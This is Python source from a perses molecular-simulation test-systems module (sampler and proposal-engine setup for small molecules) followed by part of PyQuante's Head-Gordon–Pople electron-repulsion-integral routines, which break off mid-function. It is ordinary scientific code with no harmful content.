oechem.OESubSearch("c1ccccc1") # benzene oechem.OEPrepareSearch(mol, ss) if ss.SingleMatch(mol): return True else: return False print('Filtering out molecules that do not contain benzene substructure') print(f'{len(molecules)} before filtering') molecules = [smiles for smiles in molecules if contains_benzene(smiles)] print(f'{len(molecules)} remain after filtering') # Store molecules self.molecules = molecules # Intialize super(T4LysozymeInhibitorsTestSystem, self).__init__(**kwargs) class FusedRingsTestSystem(SmallMoleculeLibraryTestSystem): """ Simple test system containing fused rings (benzene <--> naphtalene) in explicit solvent. """ def __init__(self, **kwargs): self.molecules = ['c1ccccc1', 'c1ccc2ccccc2c1'] # benzene, naphthalene super(FusedRingsTestSystem, self).__init__(**kwargs) class ValenceSmallMoleculeLibraryTestSystem(PersesTestSystem): """ Create a consistent set of samplers useful for testing SmallMoleculeProposalEngine on alkanes with a valence-only forcefield. Properties ---------- environments : list of str Available environments: ['vacuum'] topologies : dict of simtk.openmm.app.Topology Initial system Topology objects; topologies[environment] is the topology for `environment` positions : dict of simtk.unit.Quantity of [nparticles,3] with units compatible with nanometers Initial positions corresponding to initial Topology objects system_generators : dict of SystemGenerator objects SystemGenerator objects for environments proposal_engines : dict of ProposalEngine Proposal engines themodynamic_states : dict of thermodynamic_states Themodynamic states for each environment mcmc_samplers : dict of MCMCSampler objects MCMCSampler objects for environments exen_samplers : dict of ExpandedEnsembleSampler objects ExpandedEnsembleSampler objects for environments sams_samplers : dict of SAMSSampler objects SAMSSampler objects for environments designer : MultiTargetDesign sampler Example MultiTargetDesign sampler for explicit solvent hydration free energies molecules : list Molecules in library. Currently only SMILES format is supported. Examples -------- >>> from perses.tests.testsystems import ValenceSmallMoleculeLibraryTestSystem >>> testsystem = ValenceSmallMoleculeLibraryTestSystem() # Build a system >>> system = testsystem.system_generators['vacuum'].create_system(testsystem.topologies['vacuum']) # Retrieve a SAMSSampler >>> sams_sampler = testsystem.sams_samplers['vacuum'] """ def __init__(self, **kwargs): super(ValenceSmallMoleculeLibraryTestSystem, self).__init__(**kwargs) initial_molecules = ['CCCCC','CC(C)CC', 'CCC(C)C', 'CCCCC', 'C(CC)CCC'] molecules = self._canonicalize_smiles(initial_molecules) environments = ['vacuum'] # Create a system generator for our desired forcefields. system_generators = dict() from pkg_resources import resource_filename from perses.utils.openeye import smiles_to_oemol,extractPositionsFromOEMol system_generators['vacuum'] = SystemGenerator(forcefields = forcefield_files, forcefield_kwargs = {'implicitSolvent' : None}, nonperiodic_forcefield_kwargs={ 'nonbondedMethod':app.NoCutoff}, molecules = [Molecule.from_openeye(smiles_to_oemol(q)) for q in molecules], small_molecule_forcefield = small_molecule_forcefield) # # Create topologies and positions # topologies = dict() positions = dict() # Create molecule in vacuum. from openmoltools.forcefield_generators import generateTopologyFromOEMol smiles = molecules[0] # current sampler state molecule = smiles_to_oemol(smiles) topologies['vacuum'] = generateTopologyFromOEMol(molecule) positions['vacuum'] = extractPositionsFromOEMol(molecule) # Set up the proposal engines. from perses.rjmc.topology_proposal import SmallMoleculeSetProposalEngine from perses.utils.openeye import smiles_to_oemol list_of_oemols = [] for smiles in molecules: mol = smiles_to_oemol(smiles) list_of_oemols.append(mol) proposal_engines = dict() for environment in environments: proposal_engines[environment] = SmallMoleculeSetProposalEngine(list_of_oemols, system_generators[environment]) # Generate systems systems = dict() for environment in environments: systems[environment] = system_generators[environment].create_system(topologies[environment]) # Define thermodynamic state of interest. thermodynamic_states = dict() temperature = 300*unit.kelvin pressure = 1.0*unit.atmospheres thermodynamic_states['vacuum'] = states.ThermodynamicState(system=systems['vacuum'], temperature=temperature) # Create SAMS samplers from perses.samplers.samplers import ExpandedEnsembleSampler, SAMSSampler mcmc_samplers = dict() exen_samplers = dict() sams_samplers = dict() for environment in environments: storage = None if self.storage: storage = NetCDFStorageView(self.storage, envname=environment) chemical_state_key = proposal_engines[environment].compute_state_key(topologies[environment]) if environment == 'explicit': sampler_state = states.SamplerState(positions=positions[environment], box_vectors=systems[environment].getDefaultPeriodicBoxVectors()) else: sampler_state = states.SamplerState(positions=positions[environment]) mcmc_samplers[environment] = MCMCSampler(thermodynamic_states[environment], sampler_state, copy.deepcopy(self._move)) 00 # reduce number of steps for testing exen_samplers[environment] = ExpandedEnsembleSampler(mcmc_samplers[environment], topologies[environment], chemical_state_key, proposal_engines[environment], self.geometry_engine, options={'nsteps':0}, storage=storage) exen_samplers[environment].verbose = True sams_samplers[environment] = SAMSSampler(exen_samplers[environment], storage=storage) sams_samplers[environment].verbose = True # Create test MultiTargetDesign sampler. from perses.samplers.samplers import MultiTargetDesign target_samplers = { sams_samplers['vacuum'] : 1.0, sams_samplers['vacuum'] : -1.0 } designer = MultiTargetDesign(target_samplers, storage=self.storage) # Store things. self.molecules = molecules self.environments = environments self.topologies = topologies self.positions = positions self.system_generators = system_generators self.proposal_engines = proposal_engines self.thermodynamic_states = thermodynamic_states self.mcmc_samplers = mcmc_samplers self.exen_samplers = exen_samplers self.sams_samplers = sams_samplers self.designer = designer def _canonicalize_smiles(self, list_of_smiles): """ Turn a list of smiles strings into openeye canonical isomeric smiles. Parameters ---------- list_of_smiles : list of str input smiles Returns ------- list_of_canonicalized_smiles : list of str canonical isomeric smiles """ list_of_canonicalized_smiles = [] ofs = oechem.oemolostream('current.mol2') # DEBUG for smiles in list_of_smiles: mol = oechem.OEMol() oechem.OESmilesToMol(mol, smiles) oechem.OEAddExplicitHydrogens(mol) can_smi = oechem.OECreateSmiString(mol, OESMILES_OPTIONS) list_of_canonicalized_smiles.append(can_smi) ofs.close() # DEBUG return list_of_canonicalized_smiles def check_topologies(testsystem): """ Check that all SystemGenerators can build systems for their corresponding Topology objects. """ for environment in testsystem.environments: topology = testsystem.topologies[environment] try: testsystem.system_generators[environment].create_system(topology) except Exception as e: msg = str(e) msg += '\n' msg += "topology for environment '%s' cannot be built into a system" % environment from perses.utils.smallmolecules import show_topology show_topology(topology) raise Exception(msg) def checktestsystem(testsystem_class): # Instantiate test system. tmpfile = tempfile.NamedTemporaryFile() storage_filename = tmpfile.name testsystem = testsystem_class(storage_filename=storage_filename) # Check topologies check_topologies(testsystem) def test_testsystems(): """ Test instantiation of all test systems. """ testsystem_names = [ 'KinaseInhibitorsTestSystem', 'T4LysozymeInhibitorsTestSystem','AlkanesTestSystem', 'AlanineDipeptideTestSystem'] niterations = 2 # number of iterations to run for testsystem_name in testsystem_names: import perses.tests.testsystems testsystem_class = getattr(perses.tests.testsystems, testsystem_name) f = partial(checktestsystem, testsystem_class) f.description = "Testing %s" % (testsystem_name) yield f def run_t4_inhibitors(): """ Run T4 lysozyme inhibitors in solvents test system. """ testsystem = T4LysozymeInhibitorsTestSystem(storage_filename='output.nc', ncmc_nsteps=5000, mcmc_nsteps=100) for environment in ['explicit', 'vacuum']: #testsystem.exen_samplers[environment].pdbfile = open('t4-' + component + '.pdb', 'w') #testsystem.exen_samplers[environment].options={'nsteps':50} # instantaneous MC testsystem.exen_samplers[environment].verbose = True testsystem.sams_samplers[environment].verbose = True testsystem.designer.verbose = True testsystem.sams_samplers['explicit'].run(niterations=50) # Analyze data. #from perses.analysis import Analysis #analysis = Analysis(storage_filename='output.nc') #analysis.plot_sams_weights('sams.pdf') #analysis.plot_ncmc_work('ncmc.pdf') def run_alkanes(): """ Run alkanes in solvents test system. """ testsystem = AlkanesTestSystem(storage_filename='output.nc', ncmc_nsteps=5000, mcmc_nsteps=100) for environment in ['explicit', 'vacuum']: #testsystem.exen_samplers[environment].pdbfile = open('t4-' + component + '.pdb', 'w') #testsystem.exen_samplers[environment].options={'nsteps':50} # instantaneous MC testsystem.exen_samplers[environment].verbose = True testsystem.sams_samplers[environment].verbose = True testsystem.designer.verbose = True testsystem.sams_samplers['explicit'].run(niterations=50) def run_t4(): """ Run T4 lysozyme test system. """ testsystem = T4LysozymeTestSystem(ncmc_nsteps=0) solvent = 'explicit' for component in ['complex', 'receptor']: testsystem.exen_samplers[solvent + '-' + component].pdbfile = open('t4-' + component + '.pdb', 'w') testsystem.sams_samplers[solvent + '-' + component].run(niterations=5) testsystem.designer.verbose = True testsystem.designer.run(niterations=5) # Analyze data. #from perses.analysis import Analysis #analysis = Analysis(storage_filename='output.nc') #analysis.plot_sams_weights('sams.pdf') #analysis.plot_ncmc_work('ncmc.pdf') def run_myb(): """ Run myb test system. """ testsystem = MybTestSystem(ncmc_nsteps=0, mcmc_nsteps=100) solvent = 'explicit' testsystem.exen_samplers[solvent + '-peptide'].pdbfile = open('myb-vacuum.pdb', 'w') testsystem.exen_samplers[solvent + '-complex'].pdbfile = open('myb-complex.pdb', 'w') testsystem.sams_samplers[solvent + '-complex'].run(niterations=5) #testsystem.designer.verbose = True #testsystem.designer.run(niterations=500) #testsystem.exen_samplers[solvent + '-peptide'].verbose=True #testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100) def run_abl_imatinib_resistance(): """ Run abl test system. """ testsystem = AblImatinibResistanceTestSystem(ncmc_nsteps=20000, mcmc_nsteps=20000) #for environment in testsystem.environments: for environment in ['vacuum-complex']: testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-%s.pdb' % environment, 'w') testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-%s-geometry-proposals.pdb' % environment, 'w') #testsystem.mcmc_samplers[environment].run(niterations=5) testsystem.exen_samplers[environment].run(niterations=100) #testsystem.sams_samplers[environment].run(niterations=5) #testsystem.designer.verbose = True #testsystem.designer.run(niterations=500) #testsystem.exen_samplers[solvent + '-peptide'].verbose=True #testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100) def run_kinase_inhibitors(): """ Run kinase inhibitors test system. """ with open("mapperkinase3.json", 'r') as jsoninput: json_dict = jsoninput.read() testsystem = KinaseInhibitorsTestSystem(ncmc_nsteps=100, mcmc_nsteps=10, premapped_json_dict=json_dict, constraints=None) environment = 'vacuum' testsystem.exen_samplers[environment].pdbfile = open('kinase-inhibitors-vacuum.pdb', 'w') testsystem.exen_samplers[environment].geometry_pdbfile = open('kinase-inhibitors-%s-geometry-proposals.pdb' % environment, 'w') testsystem.exen_samplers[environment].geometry_engine.write_proposal_pdb = True # write proposal PDBs testsystem.exen_samplers[environment].geometry_engine.verbose = True testsystem.sams_samplers[environment].run(niterations=100) def run_valence_system(): """ Run valence molecules test system. This system only has one environment (vacuum), so SAMS is used. """ testsystem = ValenceSmallMoleculeLibraryTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=10) environment = 'vacuum' testsystem.exen_samplers[environment].pdbfile = open('valence.pdb', 'w') testsystem.sams_samplers[environment].run(niterations=50) def run_alanine_system(sterics=False): """ Run alanine dipeptide in vacuum test system. If `sterics == True`, then sterics will be included. Otherwise, only valence terms are used. """ if sterics: testsystem = AlanineDipeptideTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=100) else: testsystem = AlanineDipeptideValenceTestSystem(storage_filename='output.nc', ncmc_nsteps=0, mcmc_nsteps=100) environment = 'vacuum' print(testsystem.__class__.__name__) testsystem.exen_samplers[environment].pdbfile = open('valence.pdb', 'w') testsystem.sams_samplers[environment].update_method = 'two-stage' testsystem.sams_samplers[environment].second_stage_start = 100 # iteration to start second stage testsystem.sams_samplers[environment].run(niterations=200) def test_valence_write_pdb_ncmc_switching(): """ Run abl test system. """ testsystem = ValenceSmallMoleculeLibraryTestSystem(ncmc_nsteps=10, mcmc_nsteps=10) environment = 'vacuum' testsystem.exen_samplers[environment].run(niterations=1) def run_abl_affinity_write_pdb_ncmc_switching(): """ Run abl test system. """ testsystem = AblAffinityTestSystem(ncmc_nsteps=10000, mcmc_nsteps=10000) #for environment in testsystem.environments: for environment in ['vacuum-complex']: print(environment) testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-%s.pdb' % environment, 'w') testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-%s-geometry-proposals.pdb' % environment, 'w') testsystem.exen_samplers[environment].verbose = True testsystem.sams_samplers[environment].verbose = True #testsystem.mcmc_samplers[environment].run(niterations=5) testsystem.exen_samplers[environment].run(niterations=5) #testsystem.sams_samplers[environment].run(niterations=5) #testsystem.designer.verbose = True #testsystem.designer.run(niterations=500) #testsystem.exen_samplers[solvent + '-peptide'].verbose=True #testsystem.exen_samplers[solvent + '-peptide'].run(niterations=100) def run_constph_abl(): """ Run Abl:imatinib constant-pH test system. """ testsystem = AblImatinibProtonationStateTestSystem(ncmc_nsteps=50, mcmc_nsteps=2500) for environment in testsystem.environments: #for environment in ['explicit-inhibitor', 'explicit-complex']: #for environment in ['vacuum-inhibitor', 'vacuum-complex']: if environment not in testsystem.exen_samplers: print("Skipping '%s' for now..." % environment) continue print(environment) testsystem.exen_samplers[environment].pdbfile = open('abl-imatinib-constph-%s.pdb' % environment, 'w') testsystem.exen_samplers[environment].geometry_pdbfile = open('abl-imatinib-constph-%s-geometry-proposals.pdb' % environment, 'w') testsystem.exen_samplers[environment].verbose = True testsystem.exen_samplers[environment].proposal_engine.verbose = True testsystem.sams_samplers[environment].verbose = True #testsystem.mcmc_samplers[environment].run(niterations=5) #testsystem.exen_samplers[environment].run(niterations=5) #testsystem.sams_samplers[environment].run(niterations=5) # Run ligand in solvent constant-pH sampler calibration testsystem.sams_samplers['explicit-inhibitor'].verbose=True testsystem.sams_samplers['explicit-inhibitor'].run(niterations=100) #testsystem.exen_samplers['vacuum-inhibitor'].verbose=True #testsystem.exen_samplers['vacuum-inhibitor'].run(niterations=100) #testsystem.exen_samplers['explicit-complex'].verbose=True #testsystem.exen_samplers['explicit-complex'].run(niterations=100) # Run constant-pH sampler testsystem.designer.verbose = True testsystem.designer.update_target_probabilities() # update log weights from inhibitor in solvent calibration testsystem.designer.run(niterations=500) def run_imidazole(): """ Run imidazole constant-pH test system. """ testsystem = ImidazoleProtonationStateTestSystem(storage_filename='output.nc', ncmc_nsteps=500, mcmc_nsteps=1000) for environment in testsystem.environments: if environment not in testsystem.exen_samplers: print("Skipping '%s' for now..." % environment) continue print(environment) #testsystem.exen_samplers[environment].pdbfile = open('imidazole-constph-%s.pdb' % environment, 'w') #testsystem.exen_samplers[environment].geometry_pdbfile = open('imidazole-constph-%s-geometry-proposals.pdb' % environment, 'w') testsystem.exen_samplers[environment].verbose = True testsystem.exen_samplers[environment].proposal_engine.verbose = True testsystem.sams_samplers[environment].verbose = True # Run ligand in solvent constant-pH sampler calibration testsystem.sams_samplers['explicit-imidazole'].verbose=True testsystem.sams_samplers['explicit-imidazole'].run(niterations=100) def run_fused_rings(): """ Run fused rings test system. Vary number of NCMC steps """ #nsteps_to_try = [1, 10, 100, 1000, 10000, 100000] # number of NCMC steps nsteps_to_try = [10, 100, 1000, 10000, 100000] # number of NCMC steps for ncmc_steps in nsteps_to_try: storage_filename = 'output-%d.nc' % ncmc_steps testsystem = FusedRingsTestSystem(storage_filename=storage_filename, ncmc_nsteps=nsteps_to_try, mcmc_nsteps=100) for environment in ['explicit', 'vacuum']: testsystem.exen_samplers[environment].ncmc_engine.verbose = True # verbose output of work testsystem.sams_samplers[environment].verbose = True testsystem.designer.verbose = True testsystem.designer.run(niterations=100) # Analyze data. from perses.analysis import Analysis analysis = Analysis(storage_filename=storage_filename) #analysis.plot_sams_weights('sams.pdf') analysis.plot_ncmc_work('ncmc-%d.pdf' % ncmc_steps) if __name__ == '__main__': #testsystem = PropaneTestSystem(scheme='geometry-ncmc-geometry', options = {'nsteps':10}) #run_null_system(testsystem) #run_alanine_system(sterics=False) #run_fused_rings() #run_valence_system() run_alkanes() #run_imidazole() #run_constph_abl() #run_abl_affinity_write_pdb_ncmc_switching() #run_kinase_inhibitors() #run_abl_imatinib() #run_myb()

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py

Python

PyQuante/hgp.py

berquist/PyQuante

1cb800c6889d23fd1ad4653ac6c1d5618bc79af5

[ "DOC" ]

1

2021-06-09T02:30:23.000Z

PyQuante/hgp.py

berquist/PyQuante

1cb800c6889d23fd1ad4653ac6c1d5618bc79af5

[ "DOC" ]

1

2019-02-03T10:44:02.000Z

PyQuante/hgp.py

berquist/PyQuante

1cb800c6889d23fd1ad4653ac6c1d5618bc79af5

[ "DOC" ]

1

2017-09-11T19:20:11.000Z

"""\ Implementation of Head-Gordon & Pople's scheme for electron repulsion integrals (ref), which, in turn, derives from Saika and Obarra's scheme. Routines: hrr performs the horizontal recursion relationships vrr performs the vertical recursion relationship The routines in the accompanying chgp module have the same functions, but are written in C to be faster. This program is part of the PyQuante quantum chemistry program suite. Copyright (c) 2004, Richard P. Muller. All Rights Reserved. PyQuante version 1.2 and later is covered by the modified BSD license. Please see the file LICENSE that is part of this distribution. """ from math import sqrt,pi,exp #from PyQuante.cints import Fgamma from pyints import gaussian_product_center,Fgamma #from PyQuante.cints import vrr def contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs): if lb > 0: return (contr_hrr((xa,ya,za),norma,(la+1,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb-1,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) + (xa-xb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb-1,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) ) elif mb > 0: return (contr_hrr((xa,ya,za),norma,(la,ma+1,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb-1,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) + (ya-yb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb-1,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) ) elif nb > 0: return (contr_hrr((xa,ya,za),norma,(la,ma,na+1),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb-1),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) + (za-zb)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb-1),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs) ) elif ld > 0: return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc+1,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld-1,md,nd),dexps,dcoefs) + (xc-xd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld-1,md,nd),dexps,dcoefs) ) elif md > 0: return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc+1,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md-1,nd),dexps,dcoefs) + (yc-yd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md-1,nd),dexps,dcoefs) ) elif nd > 0: return (contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc+1),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd-1),dexps,dcoefs) + (zc-zd)*contr_hrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd-1),dexps,dcoefs) ) return contr_vrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,dexps,dcoefs) def contr_hrr_iter((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,(lb,mb,nb),bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,(ld,md,nd),dexps,dcoefs): # Non-recursive version, which I implemented in the false hope # that it would reduce the number of calls to vrr. Kept as a # valuable lesson. # Precompute all of the required (i0|j0) terms: # this is a dictionary pretending to be a 12-d array, which is # not the prettiest data structure in the world, and will probably # be a challenge when I convert to C. hrr_terms = {} for i in xrange(la+lb+1): for j in xrange(ma+mb+1): for k in xrange(na+nb+1): for l in xrange(lc+ld+1): for m in xrange(mc+md+1): for n in xrange(nc+nd+1): hrr_terms[i,j,k,0,0,0,l,m,n,0,0,0] = ( contr_vrr((xa,ya,za),norma,(i,j,k),aexps,acoefs, (xb,yb,zb),normb,bexps,bcoefs, (xc,yc,zc),normc,(l,m,n),cexps,ccoefs, (xd,yd,zd),normd,dexps,dcoefs) ) # At this point we have all of the integrals (i0|j0). # We now need to use the hrrs to build up all (ab|cd). for i in xrange(1,lb+1): for j in xrange(ma+mb+1): for k in xrange(na+nb+1): for l in xrange(lc+ld+1): for m in xrange(mc+md+1): for n in xrange(nc+nd+1): hrr_terms[la+lb-i,j,k,i,0,0,l,m,n,0,0,0] = ( hrr_terms[la+lb-i+1,j,k,i-1,0,0,l,m,n,0,0,0] + (xa-xb)* hrr_terms[la+lb-i,j,k,i-1,0,0,l,m,n,0,0,0] ) for i in xrange(1,mb+1): for j in xrange(na+nb+1): for k in xrange(lc+ld+1): for l in xrange(mc+md+1): for m in xrange(nc+nd+1): hrr_terms[la,ma+mb-i,j,lb,i,0,k,l,m,0,0,0] = ( hrr_terms[la,ma+mb-i+1,j,lb,i-1,0,k,l,m,0,0,0] + (ya-yb)* hrr_terms[la,ma+mb-i,j,lb,i-1,0,k,l,m,0,0,0] ) for i in xrange(1,nb+1): for j in xrange(lc+ld+1): for k in xrange(mc+md+1): for l in xrange(nc+nd+1): hrr_terms[la,ma,na+nb-i,lb,mb,i,j,k,l,0,0,0] = ( hrr_terms[la,ma,na+nb-i+1,lb,mb,i-1,j,k,l,0,0,0] + (za-zb)* hrr_terms[la,ma,na+nb-i,lb,mb,i-1,j,k,l,0,0,0] ) for i in xrange(1,ld+1): for j in xrange(mc+md+1): for k in xrange(nc+nd+1): hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i,j,k,i,0,0] = ( hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i+1,j,k,i-1,0,0] + (xc-xd)* hrr_terms[la,ma,na,lb,mb,nb,lc+ld-i,j,k,i-1,0,0] ) for i in xrange(1,md+1): for j in xrange(nc+nd+1): hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i,j,ld,i,0] = ( hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i+1,j,ld,i-1,0] + (yc-yd)* hrr_terms[la,ma,na,lb,mb,nb,lc,mc+md-i,j,ld,i-1,0] ) for i in xrange(1,nd+1): hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i,ld,md,i] = ( hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i+1,ld,md,i-1] + (zc-zd)* hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc+nd-i,ld,md,i-1] ) # Done; return the relevant value: return hrr_terms[la,ma,na,lb,mb,nb,lc,mc,nc,ld,md,nd] def contr_vrr((xa,ya,za),norma,(la,ma,na),aexps,acoefs, (xb,yb,zb),normb,bexps,bcoefs, (xc,yc,zc),normc,(lc,mc,nc),cexps,ccoefs, (xd,yd,zd),normd,dexps,dcoefs): val = 0. for i in xrange(len(aexps)): for j in xrange(len(bexps)): for k in xrange(len(cexps)): for l in xrange(len(dexps)): val = val + acoefs[i]*bcoefs[j]*ccoefs[k]*dcoefs[l]\ *vrr((xa,ya,za),norma[i],(la,ma,na),aexps[i], (xb,yb,zb),normb[j],bexps[j], (xc,yc,zc),normc[k],(lc,mc,nc),cexps[k], (xd,yd,zd),normd[l],dexps[l],0) return val def hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad): if lb > 0: return (hrr((xa,ya,za),norma,(la+1,ma,na),alphaa, (xb,yb,zb),normb,(lb-1,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) + (xa-xb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb-1,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) ) elif mb > 0: return (hrr((xa,ya,za),norma,(la,ma+1,na),alphaa, (xb,yb,zb),normb,(lb,mb-1,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) + (ya-yb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb-1,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) ) elif nb > 0: return (hrr((xa,ya,za),norma,(la,ma,na+1),alphaa, (xb,yb,zb),normb,(lb,mb,nb-1),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) + (za-zb)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb-1),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd),alphad) ) elif ld > 0: return (hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc+1,mc,nc),alphac, (xd,yd,zd),normd,(ld-1,md,nd),alphad) + (xc-xd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld-1,md,nd),alphad) ) elif md > 0: return (hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc+1,nc),alphac, (xd,yd,zd),normd,(ld,md-1,nd),alphad) + (yc-yd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md-1,nd),alphad) ) elif nd > 0: return (hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc+1),alphac, (xd,yd,zd),normd,(ld,md,nd-1),alphad) + (zc-zd)*hrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,(lb,mb,nb),alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,(ld,md,nd-1),alphad) ) return vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,0) def vrr_recursive((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc),alphac, (xd,yd,zd),normd,alphad,m): "Old VRR code, which is called recursively" px,py,pz = gaussian_product_center(alphaa,(xa,ya,za),alphab,(xb,yb,zb)) qx,qy,qz = gaussian_product_center(alphac,(xc,yc,zc),alphad,(xd,yd,zd)) zeta,eta = alphaa+alphab,alphac+alphad wx,wy,wz = gaussian_product_center(zeta,(px,py,pz),eta,(qx,qy,qz)) if nc: val = (qz-zc)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc-1),alphac, (xd,yd,zd),normd,alphad,m) \ + (wz-qz)*vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc-1),alphac, (xd,yd,zd),normd,alphad,m+1) if nc > 1: val = val +\ 0.5*(nc-1)/eta*(vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc-2),alphac, (xd,yd,zd),normd,alphad,m) -zeta/(zeta+eta)* vrr((xa,ya,za),norma,(la,ma,na),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc-2),alphac, (xd,yd,zd),normd,alphad,m+1) ) if na: val = val +\ 0.5*na/(zeta+eta)*vrr((xa,ya,za),norma,(la,ma,na-1),alphaa, (xb,yb,zb),normb,alphab, (xc,yc,zc),normc,(lc,mc,nc-1),alphac, (xd,yd,zd),normd,alphad,m+1) return val elif mc: val = 